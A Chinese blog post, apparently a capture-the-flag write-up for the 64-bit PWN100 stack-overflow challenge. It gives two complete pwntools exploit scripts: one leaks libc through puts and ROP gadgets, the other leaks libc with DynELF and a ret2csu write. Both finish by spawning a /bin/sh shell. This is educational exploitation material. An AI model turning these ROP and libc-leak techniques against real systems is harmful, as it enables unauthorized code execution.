美文网首页
五_2.泄露libc_2016_PWN100_64/DynELF

五_2.泄露libc_2016_PWN100_64/DynELF

作者: Zero_0_0 | 来源:发表于2019-04-26 14:30 被阅读0次
int sub_40068E()
{
  char v1; // [sp+0h] [bp-40h]@1

  sub_40063D((__int64)&v1, 0xC8u);   //泄露点
  return puts("bye~");
}
************************************************************
__int64 __fastcall sub_40063D(__int64 a1, unsigned int a2)
{
  __int64 result; // rax@3
  unsigned int i; // [sp+1Ch] [bp-4h]@1

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (signed int)i >= (signed int)a2 )
      break;
    read(0, (void *)((signed int)i + a1), 1uLL);
  }
  return result;
}
思考

1.开始接触这个题,我想直接泄露一个函数的地址,得到libc_base,然后构建我们的system_addrbin_sh_addr
2.看见put函数比较亲切,我们可以泄露地址啦!(啦啦啦)
3.看完大牛的wp后,思考:发现这是我们知道gLibc的远程服务器版本需要与我们的版本相同,才可以使用我们本地泄露的地址(引入一个名词"DynELF")(应该是爆破出来远程的服务器的gLibc的基地址)
4.太菜了,自己还是常规思路吧

小白常规思路(大牛的思路还没看懂,看懂补发...)

1.泄露libc的偏移地址(不会啊!:参考使用libc-datebase(很好用的一个工具)或者https://libc.blukat.me/

手工制图时刻
重点讲解补充:start_addr (和下面的sub_40068E效果一样)

1.如果使用pop清除栈又会导致栈顶下降,多执行几次就会耗尽栈空间。这里我们可以把返回地址改成start段的地址.
2.这段代码是编译器添加的,用于初始化程序的运行环境后,执行完相应的代码后会跳转到程序的入口函数main运行程序代码。因此,在执行完puts函数泄露数据后,我们可以返回到这里刷新一遍程序的环境,相当于是重新执行了一遍程序。
注:我们通过libc-datebase的偏移地址,我们最好全部直接cp到脚本里,这样就太方便了。(减少脑细胞死亡 嘻嘻)

补充:数据打包和数据输出
* p32/p64: 打包一个整数,分别打包为32或64位
* u32/u64: 解包一个字符串,得到整数
*********************************************
some_str = "hello, world"
log.info(some_str)  //小心擦肩而过,冥冥中只看了一眼,却忘了她的名字
常规EXP
from pwn import*


#p = process('./pwn100')
DEBUG = 1   ##//可以双管齐下的调试方式,偷过来!
if DEBUG:
       # context.log_level = 'debug'  //调试感觉太乱,小白不建议用
        p = process('./pwn100')
        gdb.attach(p)   ##//暂停程序里面调试  没必要可以关闭
else:
        p = remote('ip','prot')

offset___libc_start_main_ret = 0x20830   ##//管他能不能用先全cp过来  减少二次查找
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57

pop_rdi_ret = 0x0400763
puts_plt = 0x400500
read_got = 0x0601028
sub_40068E = 0x40068E  ==(效果一样)  start_addr = 400550   ##//亲测


def mini_tutu():
        payload = 'a'*72 + p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(sub_40068E)
        payload = payload.ljust(200)
        p.sendline(payload)
        p.recv(4)   ##作用:拷贝数据到buf中

        addr_read = u64(p.recvn(6).ljust(8,'\x00'))  ##recvn:指定读取数据
        print 'read: '+hex(addr_read)

        addr_libc = addr_read - offset_read
        addr_system = addr_libc + offset_system
        addr_binsh = addr_libc + offset_str_bin_sh
        print 'libc: ' + hex(addr_libc)
        print 'system: ' + hex(addr_system)
        print 'binsh: ' + hex(addr_binsh)

        payload2 = 'b'*72 + p64(pop_rdi_ret) + p64(addr_binsh) + p64(addr_system) + p64(0xdeadbeef)
        payload2 = payload2.ljust(200)
        p.sendline(payload2)
        p.interactive()

if __name__ == '__main__':
        mini_tutu()

泄露/bin/sh的方法集合

strings -tx libc.so.6 |grep "/bin/sh"
ROPgadget --binary libc.so.6 --string "/bin/sh"

使用DynELF方法泄露libc基址
奋斗
#!/usr/bin/python
#coding:utf-8
from pwn import*

p = process('./pwn100')
elf = ELF("./pwn100")

put_addr = elf.plt['puts']
read_addr = elf.got['read']


print "*********************"
print "[+]put_addr:" +hex(put_addr)
print "[+]read_addr:" + hex(read_addr)
print "*********************"

start_addr =  0x400550
pop_rdi_addr = 0x400763
bin_sh_addr = 0x601088    ##一个可以写/bin/sh的地址,date和bss段试验过不行,  我们超过IDA里面最大的地址即可
pop6_addr = 0x40075a
mov_call_r12_addr =  0x400740

def leak(addr):
    count = 0
    up = ''
    countent = ''
    payload = 'A'*72
    payload += p64(pop_rdi_addr)
    payload += p64(addr)   #?
    payload += p64(put_addr)
    payload += p64(start_addr)
    payload = payload.ljust(200,'B')   #200
    p.send(payload)
    p.recvuntil("bye~\n")
    while True:
        c = p.recv( numb= 1 ,timeout = 0.1)
        count += 1
        if up == '\n' and c == "":
            countent = countent[:-1] + '\x00'
            break
        else:
            countent += c 
            up = c
    countent = countent[:4]
    log.info("%#x => %s"%(addr,(countent or '').encode('hex')))

    return countent

d = DynELF(leak,elf = elf)   ##//泄露的入口
system_addr = d.lookup('system','libc')
log.info("system_addr = %#x",system_addr)

payload = "A"*72
payload += p64(pop6_addr)
payload += p64(0)
payload += p64(1)
payload += p64(read_addr)
payload += p64(8)
payload += p64(bin_sh_addr)
payload += p64(0)
payload += p64(mov_call_r12_addr)
payload += '\x00'*56
payload += p64(start_addr)

payload = payload.ljust(200,"B")
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")

payload = "A"*72
payload += p64(pop_rdi_addr)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload = payload.ljust(200,"A")


p.send(payload)
p.interactive()

相关文章

  • 五_2.泄露libc_2016_PWN100_64/DynELF

    思考 1.开始接触这个题,我想直接泄露一个函数的地址,得到libc_base,然后构建我们的system_addr...

  • DynELF

    在没有libc的时候,使用pwntools的DynELF可以来泄露地址leak函数格式 address是需要泄露地...

  • 五_4.泄露libc_XDCTF 2015-pwn20_32

    一道三无的题(无libc无system无/bin/sh) 利用pwntools的DynELF框架(专门解决泄露远程...

  • 无libc泄露地址

    用pwntools的DynELF模块来实现 DynELF的基本框架 p = process('./xxx')def...

  • DynELF

    XMAN的level4,逻辑很简单,可以覆盖返回地址,但是由于没有提供libc,需要用pwntools的DynEL...

  • Memory Leak & DynELF

    很多情况下,我们无法获得目标程序的libc,因此无法通过ret2libc的方式得到system函数的地址,这种情况...

  • PWN to MIPS by the DynELF

    参照https://www.jianshu.com/p/25d709016f4e[https://www.jian...

  • iOS 内存泄露BUG列举

    1.检查是否可以使用内购 使用Leak 内存泄露工具检查可以看到有内存泄露 2.获取本机DNS 产生内存泄露的代码...

  • [JarvisOj](pwn)level2

    简介 : 地址 : 利用代码 : 【技术分享】借助DynELF实现无libc的漏洞利用小结Paste_Image....

  • 5.JVM系列-堆内内存泄露案例分析解决

    目录 一. 背景 二. 内存泄露及原因 三. 常见堆内内存泄露的原因 四. 避免内存泄露的一些事项 五. 常见发生...

网友评论

      本文标题:五_2.泄露libc_2016_PWN100_64/DynELF

      本文链接:https://www.haomeiwen.com/subject/ewpfnqtx.html